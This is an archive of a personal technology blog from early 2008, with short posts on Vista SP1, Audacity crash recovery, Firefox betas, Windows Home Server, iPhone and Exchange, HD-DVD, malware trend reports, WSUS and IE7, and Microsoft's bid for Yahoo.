Group-think/conventional wisdom seems to be that since the average iPod/Phone user spends about $20 total on music through the iTunes store, it would make sense to charge everyone that much up front. Others say something more like $80 is more reasonable. I think they're all wrong: Charge me $20 up front, and I will do everything I can to maximize - in a big way - that mandatory investment. People only spend an average of $20 because they have to keep paying. Charge that up front and grant them unlimited access, and they'll download more music than you can possibly imagine.

That's where the Zune Pass idea is a better one. Recurring monthly revenue of a predictable, fixed amount (which is great from a business standpoint) and a happy customer base. I just don't see a one-time fixed fee model holding water for very long. But then again, if your intent (hypothetically) is to launch a firestorm campaign to (further) monopolize the market and then dump it as unviable... Well, you might actually succeed at one goal by failing at another. Just an thought. :)



Add/Read: Comments [1]
Apple | Mobile | Tech
Thursday, March 20, 2008 1:53:38 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Guy Kawasaki and a couple of his friends recently fired up a site/service called Alltop, which displays a variety of popular topical areas in which various popular blog/news feeds are aggregated. Think of each of the topical sites as a one-stop-information-shop. High-level topics include the categories of Work, Living, People, Interests, Culture, Geekery, Good and News. On his blog Guy describes it as:

Alltop... a news aggregation site that provides “all the top” stories for forty of the most popular topics on the Web. The headlines and first paragraph of the five most recent stories from forty to eighty sources for each topic are displayed. Alltop stories are refreshed approximately every ten minutes.

The interface is clean and easy to read - lots of information on alltop-windowsthe page. Mouse over a headline and see the first few sentences of the article. Click the headline to go to the original site and read the full article or post.

I'm privileged to be among the bloggers whose sites are listed on the Windows Alltop news site (at http://windows.alltop.com/), along with a list of information sites and authors which - truth be told - I am amazed to be paired with. I mean, glancing at the site right now, I'm on the page between Ed Bott and the IEBlog. If I work hard enough at it, I can only hope to provide the types and quality of information you get from the other sites in the list.

Check out Alltop. Lots of good stuff there.



Add/Read: Comments [1]
Blogging | Tech
Thursday, March 20, 2008 11:55:06 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Vista SP1 is available (details in the document available at this link and Ed Bott did a great what-to-expect write-up and FAQ), so it's time to head on over to Windows Update (it's in your start menu) and grab it. Assuming it shows up in the available-updates list, of course. Apparently there are certain drivers and configurations which, if present on your system, will prevent the service pack from being offered. A Microsoft Knowledge Base article - KB948343 - details the possible causes and solutions.

I upgraded on my 64-bit Vista Ultimate machine a little less than a month ago and have been happy with the performance improvements. If nothing else, just the speed of file copies over the network made it completely worthwhile. Add in other improvements and fixes and it's an important one in my book.



Add/Read: Comments [0]
Tech
Thursday, March 20, 2008 11:20:35 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Yesterday I mentioned some new C# screencasts by my friend Stuart that are being published over at Channel 9. Another screencast-format resource for learning about .NET programming and the .NET framework is a new site that Dmitry Lyalin put together recently, called "Better Know a Framework." Dmitry recently joined Microsoft on the East Coast and is passionate about helping people understand the technology. So, if you're a .NET programmer (or want to be), you should check it out, as well. The screencasts so far are well-produced and quite usable.

A short introduction...

The Concept. The concept behind Better Know a Framework is directly inspired by a segment on the .NET Rocks podcast. In this segment the host (Carl) regularly discusses a class or a part of the .NET Framework as a way to expand peoples knowledge. My inspiration is to take this to the next level and bring screencast content to the development community in a similar fashion, a small segment at a time.



Add/Read: Comments [2]
Geek Out | Tech
Thursday, March 20, 2008 8:43:47 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

One of my colleagues and past co-worker when I was at Corillian/CheckFree, Stuart Celarier, has teamed up with Microsoft's Bruce Kyle and made a whole slew of what they're calling "Whirlwinds" that are being published at the Channel 9 community site at MSDN. By the time they've all been published, Stuart tells me he will have visually covered every new feature in C# v2. Wow, cool information! Stuart, correct me here if I am somehow exaggerating. :)

You can start anywhere you like as these screencasts are published, but for reference, here's a link to the first one, and some information about the project:

Bruce Kyle of Microsoft and Stuart Celarier of CheckFree explore the new languages features in C#. It's a whirlwind tour of the important language features since C# 1. Stuart describes the feature and why it is useful. But doesn't get into best practices nor suggested usages. Just the facts about the feature.

Whirlwinds are bite-sized webcasts, each is shorter than 15 minutes. You can start anywhere in the series to learn about the parts you're most interested in.

In Part 1 about generics, Stuart describes:

  • What generics are.
  • How generics compare with collections.
  • How the compiler treats generics.
  • He also describes how generics increase performance and save memory.

This feature is part of C# 2 in .NET 2.0.

Also available is "Whirlwind 2: What's new in C# 2 - Iterators," with lots more to come. Cool idea, well-executed - Congrats, Stuart! If you're a C# person (or would like to be), be sure to check it out.



Add/Read: Comments [1]
Geek Out | Tech
Wednesday, March 19, 2008 11:12:08 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, March 13, 2008

When I record my audio for the RunAs Radio show, I'm typically sitting in my home office at my desk and using Audacity along with my Samson 01U USB microphone plugged into my Vista laptop. Audacity is an open-source program for all sorts of fancy audio recording, processing and editing. It's really pretty amazing.

Until fairly recently, Audacity was also pretty reliable. But about a month ago I started experiencing occasional crashes when trying to save and export the audio from my recording sessions. Now, if you think about for more than a couple seconds you'll quickly understand that crashes that occur after the interview is over, but before the file is saved, are extremely frustrating - and not just for me. A recording session do-over with three or more people involved in a 30- to 45-minute interview is really not a nice thing to have to ask for.

This morning Richard and I completed an interview with a guest. When I went to save the file, Audacity crashed. My heart sank, and my brain went into oh-crap-overdrive mode. I really did not want to be in the position of having to ask a busy guest to schedule more time to record an interview that had been quite good in the original session. I needed some magic.

I started thinking about temp files. The hard drive is always flashing away as I record the interviews, so something must be saved somewhere, right?

Sure enough, a quick search for *.au files on the hard drive uncovered nearly 400 files in a "_data" folder off the Audacity project's location. The date and time stamps on them made me feel a lot better - Phew! Each file appeared to contain 10 seconds of audio. The first one was stamped with the exact time we started recording the interview, and the last one with the time we stopped.

I imported all the .au files into Audacity, thinking I could just do that and I'd be good to go. But it turns out Audacity doesn't import files one-after-the-other on the timeline. Instead, it imports them as if they were almost 400 individual tracks in a single 10-second audio project. I started the click-cut-end-paste process, and quickly realized it was going to take literally hours to fix this problem manually.

(Also, just for fun I decided to see if the program would actually play a 10-second project session with 400 tracks in it. No dice.)

I quickly gave up on the cut-paste option in search of something better. What I found was the aptly-named Audacity Recovery Utility. Apparently I'm not the only one who's needed to recover recorded audio seemingly lost during application crashes. It's a Python app and can be used on Windows, Mac and Linux.

The program is simple in its execution. You point it at a folder and it looks for audio files, tries to determine if they are all one block/set, or if they're more than one, and then attempts to put them together into a single .WAV file that you can then import back into Audacity (or anywhere else for that matter) for editing and processing.

image

The app will confirm what it finds and give you a chance to stop it from proceeding.

image

Tell it "Yes" and the program starts processing the temp files.

image

Out the other end, you'll eventually get a .WAV file that you can use.

Sure saved my backside today. Thanks to the author! By the way, supposedly Audacity 1.3.2 and newer (which is a beta release right now, not the stable version) have crash recovery built in. I'll probably have to check that out, as well.



Add/Read: Comments [18]
AudioBlogging | RunAs Radio | Tech
Thursday, March 13, 2008 1:43:13 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, March 11, 2008

ff3beta4logo The Firefox team has released Firefox 3 Beta 4, which you probably have already read about and downloaded if you're a hard-core geek. But you can say you heard it here again. :)

It's definitely a test version, so expect bugs and other weirdness, as they say:

Thank you for helping test Firefox 3 Beta 4! This release is being made available for testing purposes only. You should read the release notes before getting started.

We want to hear all of your thoughts about this beta, especially if you encounter broken sites or other web weirdness. Drag this feedback button onto your bookmarks toolbar and click on it when you have something to tell us. We'll be waiting to hear from you! (Or, if you'd prefer, you can file a bug.)

I downloaded it as a Portable App from this link.



Add/Read: Comments [5]
Geek Out | Tech
Tuesday, March 11, 2008 5:13:09 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

When the Windows Home Server data corruption bug surfaced a couple months ago (updated information is available here), the Home Server team at Microsoft focused their efforts on squashing it. As a result, the Home Server Power Pack 1 release was delayed as a lower priority (and understandably so at the time).

image Microsoft has recently announced that they plan to get the data corruption issue fix out to the market in June this year, but Home Server Product Manager Todd Headrick posted a query on the Microsoft Home Server forums asking people if they'd like to get Power Pack 1 sooner, or if we'd prefer to wait for the corruption fix and take it all at once.

I've voted for the "Power Pack now" option, and will be glad to take a data corruption fix later. As long as there's no dependencies on the bug fix (and it sounds like there's not), and as long as additional risk is not being generated, releasing the power pack earlier is certainly the best option, as long as it's ready. Here are a few reasons why:

  • 64-bit client support, so users of Vista 64-bit can use the home server as it is meant to be used (this appears to be a broader-reaching and more-common issue than many thought it would)
  • Ability to back up the home server folders to external drives
  • Usability and UI improvements
  • Other fixes
  • Opportunity some good news into the channel (it's a great product with a lot of goodwill in the community that would benefit from some positive karma right now)

As a general rule, big companies (or "enterprise" customers, as we call them) want multiple changes carefully packaged together, with as many problems solved in one patch or update as possible, with low risk. But Home Server is notably not an enterprise product. Instead it is laser focused on a crowd where more frequent feature and fix releases are preferred, encouraged and asked for. So, in the case of Home Server it's probably best to adopt something closer to an iterative release cycle.

What do you think? Microsoft wants to know!



Add/Read: Comments [3]
Home Servers | Tech
Tuesday, March 11, 2008 8:25:04 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, March 10, 2008

google-calendar-sync Ahhh, a big thank-you to Google. I can now sync both directions between Outlook 2007 and my Google Calendar account thanks to Google Calendar Sync. Simply install one little program that occupies (another) space in the taskbar, and set it to sync as often as you wish. Simple as that. I like simple.

I just installed the app, specified my Google Apps account (yep, it work with the Apps calendars, too) and everything was perfect. Can't ask for more than that.

You can set the direction of information flow (from Google Calendar to Outlook, from Outlook to Google Calendar, or both directions), as well.

Quick, useful, easy and it "just works." This whole mobility concept is starting to become more and more usable and seamless. Nice.

UPDATE: In the comments and in email, a couple smart people have asked some important questions regarding whether the app syncs everything it needs to. My thoughts: "So, there's certainly room for improvement, and it looks like some relatively simple enhancements with corresponding configuration options would make this an even better app for a broader range of users."



Add/Read: Comments [4]
Mobile | Tech
Monday, March 10, 2008 1:39:02 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, March 06, 2008

Microsoft and Apple have announced that they are working together to  make Exchange Server and the iPhone mobile phone work well together. Apple will license Exchange ActiveSync for use on the iPhone, which will in Turn help assure the Exchange Server dominance in the marketplace stays they way it is. It's really as simple as that.

The fact is that Exchange is a pretty terrific server product for email, calendaring and a lot more. The iPhone is a pretty terrific mobile device. They don't integrate too terribly well today: You can sync your calendar and contacts via the USB connection to your computer, and you can get IMAP email from a properly-configured Exchange server (which works, but is not exactly optimal). But it's far from simple, far from seamless, and far from supportable in the enterprise.

One has to wonder what this means, either directly or indirectly, for the Windows Mobile world. I know the arguments: Different markets, different platforms, different purposes, etc. etc. etc... but with the iPhone SDK availability, that gap will be much narrower. And the fact of the matter is, Apple has the usability nailed with the iPhone. Sure, there's a few enhancements needed. But those are ones that can (and I'm certain will) be done.

ActiveSync will provide the ability (assuming Apple leverages all the features) to do push email, calendar and contact sync over the air, and task list sync.

Perhaps one of the more important potential benefits from ActiveSync integration with the iPhone is the ability to get enterprise-class security on the device, which to date is lacking and doesn't meet the needs or standards of most commercial IT departments. Exchange 2007 clients can be set up for enforced enterprise IT "policies" or controls, which would go a long way toward satisfying the security needs. In my mind, that's the biggest potential win. Without that, pushing email and syncing calendars and contacts is to risky an activity.

From Apple's press release come details of what they intend to provide - and it looks liek Cisco VPNs are in the package, as well:

Apple has licensed Exchange ActiveSync from Microsoft and is building it right into the iPhone, so that iPhone will connect out-of-the-box to Microsoft Exchange Servers 2003 and 2007 for secure over-the-air push email, contacts, calendars and global address lists. Built-in Exchange ActiveSync support also enables security features such as remote wipe, password policies and auto-discovery. The iPhone 2.0 software supports Cisco IPsec VPN to ensure the highest level of IP-based encryption available for transmission of sensitive corporate data, as well as the ability to authenticate using digital certificates or password-based, multi-factor authentication. The addition of WPA2 Enterprise with 802.1x authentication enables enterprise customers to deploy iPhone and iPod touch with the latest standards for protection of Wi-Fi networks.

The iPhone 2.0 software provides a configuration utility that allows IT administrators to easily and quickly set up many iPhones, including password policies, VPN setting, installing certificates, email server settings and more. Once the configuration is defined it can be easily and securely delivered via web link or email to the user. To install, all the user has to do is authenticate with a user ID or password, download the configuration and tap install. Once installed, the user will have access to all their corporate IT services.

Good move Apple. Good move Microsoft. Looking forward to this one!



Add/Read: Comments [0]
IT Security | Mobile | Tech
Thursday, March 06, 2008 5:00:07 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, March 04, 2008

After seven years with Dish Network, I made the change Monday to DirecTV and their HD programming. Granted, Dish Network's HD package has improved lately, and their new HD-only package was interesting, but a few things swayed me away and over to the other satellite programming vendor.

DirecTV has great HD capacity today and is quickly adding more. Another satellite will be launched in the next couple weeks, in fact. Their HD quality is pretty darned good. I like their equipment. And, although it's not here yet, I am thinking ahead to the forthcoming HDPC-20 - a DirecTV tuner device that will integrate with Vista Media Center. I'll be an early adopter of that technology, you can be sure.

The installer was great (despite the pouring rain he had to deal with), and before I knew it I was enjoying 90+ channels of HD programming. I can see some compression in some of the HD content, but you have to expect some of that. All I know is it looks much better than cable TV HD service I've seen before. I suppose I could complain about the fact that I now have a bigger antenna on my roof, but that seriously doesn't matter. I'm getting a lot of choice in return.

Bonus features include the ability to add my own external 750GB eSATA drive to the HD DVR (nice!), web-based DVR remote scheduling, Internet connectivity for on-demand content and information (which is new and in beta), and nice menus and software on the receivers in general. Seriously, it just feels better when you use it.

I'll be participating in the "cutting edge" program, loading software releases for the HD receiver and HD DVR devices at odd hours now and then to test new features and fixes before they're released nationwide. So, this move helps me fulfill the needs of my inner geek, too.

It's really a world of difference with the new service. Quality- and content-wise, it's a big step up.



Add/Read: Comments [5]
Geek Out | Tech
Tuesday, March 04, 2008 9:46:53 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, February 26, 2008

imageMine iPhone's jail-broken to let me use a couple truly-useful apps written by third parties, so I'll just wait a few hours before I apply this update from Apple, but early reports are that this new version of the iPhone/Touch firmware can be jail-broken using ZIPHONE (for the adventurous only of course), but note that the author (Zibri) says not to upgrade yet, and to wait for him to create a quick update. No problem. I like having my NetFlix queue available, so jail-breaking is in the cards for me.

The Unofficial Apple Weblog has all the goods and is updating with more info as they discover the details of this firmware release. So far bug fixes seems to be the official word.

Nice that Apple's supplying regular fixes. I'm not exactly counting on being pleasantly surprised and finding things like 802.1x and a whole slew of other needed enhancements, though. Hopefully some day.



Add/Read: Comments [0]
Mobile | Tech
Tuesday, February 26, 2008 11:51:36 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, February 24, 2008

It's a little strange, I suppose, even though I have this fancy home theater projector and sound set up in a room allocated just for that purpose, that my living room TV would a 12-or-so-year-old RCA rear projection set. The old RCA is a reliable, still-going strong, 53" wood cabinet model. But it has a glossy screen and reflects light like a mirror. It's hard to watch anything when it's light outside, for sure. the place where the TV lives provides the perfect angle for reflecting the view out the french doors.

New LG LCD 42" HDTV This weekend, Fry's electronics has a great sale on a 42" LG 1080P LCD HDTV (model 42LB5D) on sale for $997.00 (also available online for that price as of the time of this writing, with very reasonable shipping), which is a steal no matter how you look at it. Best Buy's price is around $1599, and you can find it online for around $1200 if you look hard enough. But the Fry's advertised price this weekend was something else entirely.

After a day of thinking about it, I decided it was a good enough deal to take advantage of, and that it would be nice to reclaim some space in my living room. At Best Buy they were willing to match the Fry's price for me last night (frankly, I'd prefer to purchase at Best Buy, but I was open to the alternative if they could not match), and so I drove into town and picked up my new living room TV for $600 less than the floor price and took it home. Score!

It was 11pm by the time we got back home and I was tired, but that's never really stopped me. We set it up and turned it on. In short, as I expected, it's an amazing difference. The LG set is very, very bright and has a great picture, and with 3 HDMI inputs and a variety of others, I'm set. We hooked up a HDMI up-converting DVD player and watched American Psycho (wow, what a film, heh). Color me impressed.

This morning I was able to watch anything I wanted with the blinds pulled open and the sun shining in the windows. I'm a happy camper.



Add/Read: Comments [5]
Geek Out | Random Stuff | Tech
Sunday, February 24, 2008 2:00:05 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, February 21, 2008

Looks like Vista SP1 for the 64-bit version of the OS is now available publicly on Windows Update. No sign of the 32-bit version yet, but I'm glad to get it for this particular computer.

image

image

Knowledge Base article KB936330 is available, as is the release-notes publication at TechNet.



Add/Read: Comments [3]
IT Security | Tech
Thursday, February 21, 2008 2:31:32 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, February 19, 2008

Recently my Outlook 2007 connection to my Google Apps mail account became increasingly slow and sluggish, to the point of extreme frustration. Slow syncs and a general sense of bloat were ruining my experience and making it close to unusable. During email syncs my system would practically hang as Outlook churned away.

Not acceptable. I either needed a solution or I needed to replace my email, contacts and calendaring solution. It was that bad. Now, I really have no desire to leave Outlook. It works great for me. What I needed was a fix, which was preferable to a wholesale replacement. I know Thunderbird works well, but at least for now it's just not an Outlook equal replacement.

So, I searched today for a solution and - what do you know - quickly found an article on Digital Inspiration that helped me clean up my server configuration and improve performance substantially. With the huge onslaught of spam over the past couple months, my GMail spam folder had grown to be HUGE, so removing that from the sync was probably a big deal. Also, I set up the inbox to grab headers only (different than the article suggests). In addition, I disabled a couple unused but active Outlook add-in's as described in this article.

The results? A speedy Outlook and no more hung apps. The sync with the Google IMAP servers is much faster. I actually can't believe I put up with the bad performance as long as I did. All resolved now.



Add/Read: Comments [1]
Tech
Tuesday, February 19, 2008 9:27:58 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

It's official: The format war is over.

I'm not one bit ashamed to say I've been a HD-DVD guy ever since I made the shift to watching movies in the amazing world of hi-def last June. I've enjoyed the red label discs, I appreciate the combo-format packages, and it was HD-DVD that pushed me into doing a lot of research into 1080p projectors and then purchasing one that I have been very happy with.

I also bought a HD-DVD player for my dad and his significant other's new home the day after thanksgiving, and another one for my mom and step dad over the Christmas holiday. If nothing else, they play regular DVDs on their hi-def (1080p) sets beautifully. Too bad the HD-DVD format looks like it's officially out. Glad I got good prices and minimized the "damage." I suppose I'll probably be buying replacement hardware soon eh?

At any rate, with Netflix, Wal Mart, an ever-expanding list of film studios, Best Buy and others making announcements about either going exclusive Blu-ray or favoring the format... Well anyhow I have a question. :)

Which Blu-ray players should I be seriously looking at? Is there a no-brainer, best-bang-for-the-buck option out there? I'm not really interested in PS3 games, so swaying me in that direction might be tough. I'm looking for full 1080p coverage via HDMI. I can (and do) hope that a Blu-ray player for the Xbox 360 is in the works, but until that happens I have to see what else is out there, and it's not something I've paid full attention to.

Suggestions?



Add/Read: Comments [5]
Tech
Tuesday, February 19, 2008 11:23:29 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, February 14, 2008

IBM Internet Security Systems' X-Force has released its annual report outlining the malicious software threat and trending landscape. In a nutshell, things are getting more complicated (landscape-wise) and the impact is becoming more technically complex. Read the report and you can directly glean as well as infer certain facts.

As malware becomes harder and harder to catch in real-time using currently-available technology (a trend that has become quite clear over the past year or more) and as the intent of the malicious software becomes more and more geared toward complete remote system control and access, the potential situation looks - I'll just say it - pretty darned bleak.

It's important to stay up-to-date if you're an IT or Security professional (or hard-core geek). Here are your links:

Quiz in the morning. :)



Add/Read: Comments [1]
IT Security | Tech
Thursday, February 14, 2008 1:43:02 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, February 13, 2008

It's not like we didn't already know the malware (short for "malicious software") infection rate is increasing, but Google's security folks posted a technical paper and blog entry on Monday that illustrates the prevalence of "drive-by" malware distribution and just how big the problem has become.

Excerpt:

“During that time we have investigated billions of URLs and found more than three million unique URLs on over 180,000 web sites automatically installing malware” … “In the past few months, more than 1% of all search results contained at least one result that we believe to point to malicious content and the trend seems to be increasing.”

Add to that the fact that a significant and growing amount of newer malware recompiles itself into new forms each time it redistributes, making it virtually undetectable by current means, and the situation potentially becomes even scarier.

The technical paper is a very interesting read and explains some of the distribution techniques and designs. It also points out one piece of browser technology that has resurfaced to plague the security world many, many times: the iFrame.

The problem is most deeply rooted in China, where 67% of all malware distribution servers are located, and 64.4% of all landing sites (sites that point to a distribution site) are located. The next closest offending country is the United States, which accounts for about 15% of the distribution and landing sites. So, one can easily see where a significant portion of the problem lies. With the increases in business and trade taking place in China now, one has to worry about the future if computer systems are in such bad shape. Clearly, something needs to change.

If you're a security person, an IT server admin, work with web applications, develop web apps, or are for any reason interested in scary figures (such as the fact that "38.1% of the Apache servers and 39.9% of servers with PHP scripting support reported a version with security vulnerabilities."), read the report. It's worth the time you'll spend.



Add/Read: Comments [2]
IT Security | Tech
Wednesday, February 13, 2008 8:43:17 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

It looks like the Live Search team has announced they've released their MSN Bot v1.1 (and changed the user agent string to "msnbot/1.1"). They've noted two significant (and welcome) features.

  • HTTP compression
  • Conditional GETs

What does this mean for server owners and operators? Just a more-efficient way of crawling your sites for indexing, assuming your servers support the features. Most servers support HTTP compression, and links to instructions for configuring it are provided in the Live Search team's blog entry.

If you're interested in knowing whether your site/server supports these two features, the Live Search team has also put up a page where you can run a quick test.

Of course, depending on how they detect search indexing bots, some apps may need to add the new user agent string to their configurations.



Add/Read: Comments [1]
Tech
Wednesday, February 13, 2008 7:05:56 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, February 12, 2008

image Firefox, that other awesome web browser, is now available in a v3 B3 release for those who are willing and wanting to test the latest and greatest before it's all fully baked.

Here is the link to get to the download page and other pertinent information. Expect performance improvements, security improvements, usability enhancement and more. But, keep in mind it's a Beta release, which means it will likely be flaky and do things you might not like. In the words of the Firefox team:

Please note: We do not recommend that anyone other than developers and testers download the Firefox 3 Beta 3 milestone release. It is intended for testing purposes only.

Firefox 3 Beta 3 is now available for download. This is the eleventh developer milestone focused on testing the core functionality provided by many new features and changes to the platform scheduled for Firefox 3. Ongoing planning for Firefox 3 can be followed at the Firefox 3 Planning Center, as well as in mozilla.dev.planning and on irc.mozilla.org in #granparadiso.



Add/Read: Comments [1]
Tech
Tuesday, February 12, 2008 9:43:31 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Richard and I had a good conversation with Scott Kveton, OpenID personality extraordinaire, on the RunAs Radio podcast this week. Scott is chairman of the OpenID Foundation.

OpenID is a cool and upcoming technology and has seen significant attention in the past few weeks especially as Yahoo! became an OpenID provider, immediately followed by an announcement that Microsoft, Google, Yahoo!, IBM and Verisign had joined the board of the OpenID Foundation.

It's time to get on-board and know what OpenID is, how it might play with other technologies in the identity and access management space, and how you can learn more. That's what this show is all about.

Scott Kveton Shares His OpenID (MP3 link)
from the RunAs Radio podcast

Richard and Greg talk to Scott Kveton about OpenID. OpenID is a single sign-on solution that could very well make the classic username and password obsolete. This is a fast half hour - you'll find yourself wanting to listen again!



Add/Read: Comments [1]
IT Security | RunAs Radio | Tech
Tuesday, February 12, 2008 9:25:19 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

OneCare on 64-bit works! I somehow missed the release, but a little while back Microsoft released Windows Live OneCare v2.0, and in that release added support for 64-Bit Windows Vista. A few months ago (before OneCare v2) I had just bought a new laptop that came with the 64-bit Vista Ultimate edition pre-installed, and when I went to install the then-released version of OneCare, I was pretty disappointed that it would not work.

When I was in Costco the other day, I noticed a OneCare package on the shelf and picked it up to glance at the system requirements. Lo and behold, the packaging had changed and now indicated that 64-bit Vista was supported! When did they slip that in? I didn't see mention of it on the OneCare blog or anywhere else.

But hey, all I knew was it looked like I would be able to use it now, so I was looking forward to giving it a try.

Today I uninstalled my frustratingly cruddy other (to remain nameless) antivirus software and installed the OneCare suite. For about $40 a year I can protect three PCs and centrally manage two of them from the computer I designate as the "hub" machine. Nice.

image

OneCare v2 includes:

  • Antivirus & Antispyware protection
  • Online ID protection
  • Bi-Directional Firewall
  • Multi-PC management
  • Printer sharing
  • Data backup and restore capabilities
  • Maintenance and cleanup tasks (defrag, clean up useless stuff, etc.)

It's an easy and quick install, and a good way to make sure you're protected. You can watch a product demo and download the free 90-day trial here.



Add/Read: Comments [0]
IT Security | Safe Computing | Tech
Tuesday, February 12, 2008 6:33:14 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

On my Windows Vista Ultimate 64-bit laptop, one of today's many Microsoft patches keeps prompting to be installed over and over, even after it indicates it is successfully installed. The patch in question is related to Microsoft Knowledge Base article KB937287, and is a prerequisite to Vista SP1, which is set to be made available next month.

Update 937287 is a prerequisite package that contains updates to the Windows Vista installation software. The installation software is the component that handles the installation and the removal of software updates, language packs, optional Windows features, and service packs. Update 937287 is necessary to successfully install and to remove Windows Vista SP1 on all versions of Windows Vista. This update will be available on the Windows Update Web site soon after the release of update 935509 and before the release of Windows Vista SP1. 

I ran the installation for all of today's patches which applied to my computer (twelve of them in total) and this one kept hanging around. Each time I restarted the computer, Windows Update again prompted me to start the installation. Confusing and frustrating after the fourth or fifth time, to be sure (reminds me of a joke about the definition of "insanity" heh).

updatethatwontinstall

I was able to resolve this problem by downloading the individual 64-bit patch from the Microsoft Downloads site and installing it manually. Note that the linked download location is for 64-bit Vista OS users only. Once I did that, the prompts stopped and it shows up in the installation list as successfully installed on the machine. In fact, the list now shows all of the installation attempts as successful, with a separate line for each try. Only the first try now shows "failed." Strange.

image

It's interesting that the KB article points out that this update will be required in order to install Vista SP1 via Windows Update when it is released, but not if you chose to download and install the service pack manually (as it will contain the fix). Extra interesting is that for this update I was unable to install it via Windows Update, but was successful with the manual install.

At any rate, there have been a flurry of posts on a variety of forums and other sites today where people were having this problem. Some people were recommending grabbing a leaked version of SP1 Refresh 2 via non-MS sites (read: not a good idea) and installing that, but for those who wish to wait and make sure they get what MS releases when they release it, this option is probably better for you.

If it works, drop a comment. Actually, be sure to comment if it doesn't work for you, too. :)



Add/Read: Comments [15]
IT Security | Tech
Tuesday, February 12, 2008 5:45:12 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Updating from IE6 to IE7 is a considerably good thing to do, but IT pros need to plan for these things in some cases for compatibility and other reasons, so awareness is important.

If you're an IT shop using Windows Software Update Services (WSUS), be aware that today marks the date that Microsoft planned to start automatically delivering Internet Explorer 7 to desktop machines as an automatic update on WSUS systems. Computers on WSUS-managed computers that have IE6 installed will be updated, either automatically or upon administrative approval, depending on your configuration.

So, if you don't want your IE software updated today, it's important to check that your WSUS system is set up to require administrative approval before updates are pushed to the machines on your network (this is the default setting, but I've seen it changed in many cases for "convenience").

From the Microsoft Knowledge Base article (KB946202):

If you have configured WSUS to "auto-approve" Update Rollup packages (this is not the default configuration), Windows Internet Explorer 7 will be automatically approved for installation after February 12, 2008 and consequently, you may want to take the actions below to manage how and when this update is installed. You will need to take action if:

  • You use WSUS to manage updates in your organization.
  • You have Windows XP Service Pack 2 (SP2)-based computers or Windows Server 2003 Service Pack 1 (SP1)-based computers that have Internet Explorer 6 installed.
  • You do not want to upgrade Internet Explorer 6 machines to Windows Internet Explorer 7 at this time.
  • You have configured WSUS to auto-approve Update Rollups for installation.

Important notes

  • This does not apply to Windows Vista because Windows Internet Explorer 7 is a component of Windows Vista.
  • The Internet Explorer Blocker Toolkit blocks only installation that occurs by using Windows Update and Automatic Update. The toolkit does not block distribution that occurs by using WSUS. This article concerns distribution that occurs by using WSUS. Internet Explorer 7 is already available in 23 languages by using Windows Update and Automatic Update. On February 12, 2008, Internet Explorer 7 will also be made available in Japanese by using Windows Update and Automatic Update

The KB article also includes instructions describing how to configure the WSUS server, if needed.

(reminded via Mary Jo Foley - All About Microsoft)



Add/Read: Comments [2]
IT Security | Tech
Tuesday, February 12, 2008 7:42:09 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, February 11, 2008

UPDATE: Want to be able to track a BlackBerry when it gets lost or stolen with a more robust online system? Check out GadgetTrak, available for GSM-based devices.


image Got a Blackberry? Ever worried what you'd do if you lost it? Ever actually had to replace a lost one before? Lost or stolen, it's good to be able to find your handheld, especially if it has important data on it.

A couple years ago I was in Minnesota on a trip and went to play FrisbeeTM Golf with a friend. The course went through the woods and across a couple fields. When we got done, I realized my Blackberry phone was missing. Not good.

We used my friend's cell phone and started calling it. I got lucky that day. It was (thankfully) not on vibrate mode, and we eventually found it deep in the woods (where I had been forced to bushwhack in order to get to my flying disc). The battery was near dead.

Now it appears there's a better way. Berry Locator is a software program that will cause your Blackberry device to scream and flash - even when set on silent mode. When you lose your device (or if you can't find it in the house clutter) you just send it a specially-formed email and it wakes up and does its thing, letting you find it. Even better, if your BB has GPS capabilities, you send an email and it will reply via email with a map showing you the coordinate where the device is located. Plus, you can type text in the body of your email that will be displayed on the screen when it's activated, in case someone else finds (or otherwise has possession of) your Blackberry.

Combine that feature with a password, data encryption and the ability to nuke the device in a worst-case scenario (on a corporate BES system), and you're pretty good to go.

Cool capability, but it only works if you install it ahead of time. There's a free trial version, and when you decide to buy it, it's only five bucks.



Add/Read: Comments [9]
IT Security | Mobile | Tech
Monday, February 11, 2008 6:45:43 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

It was pretty clear from the initial public offer that was made by Microsoft to acquire Yahoo! that Redmond intends to make it happen even if Yahoo! management doesn't want to go along. But just in case anyone doubted, today it became quite apparent that's the case. In a statement issued today, Microsoft says:

"It is unfortunate that Yahoo! has not embraced our full and fair proposal to combine our companies. Based on conversations with stakeholders of both companies, we are confident that moving forward promptly to consummate a transaction is in the best interests of all parties.

"We are offering shareholders superior value and the opportunity to participate in the upside of the combined company. The combination also offers an increasingly exciting set of solutions for consumers, publishers and advertisers while becoming better positioned to compete in the online services market.

"A Microsoft-Yahoo! combination will create a more effective company that would provide greater value and service to our customers. Furthermore, the combination will create a more competitive marketplace by establishing a compelling number two competitor for Internet search and online advertising.

"The Yahoo! response does not change our belief in the strategic and financial merits of our proposal. As we have said previously, Microsoft reserves the right to pursue all necessary steps to ensure that Yahoo!'s shareholders are provided with the opportunity to realize the value inherent in our proposal."

Looks like a lot of people are in for a ride. It will be interesting to see how this one turns out, to be sure.



Add/Read: Comments [1]
Random Stuff | Tech
Monday, February 11, 2008 4:23:37 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

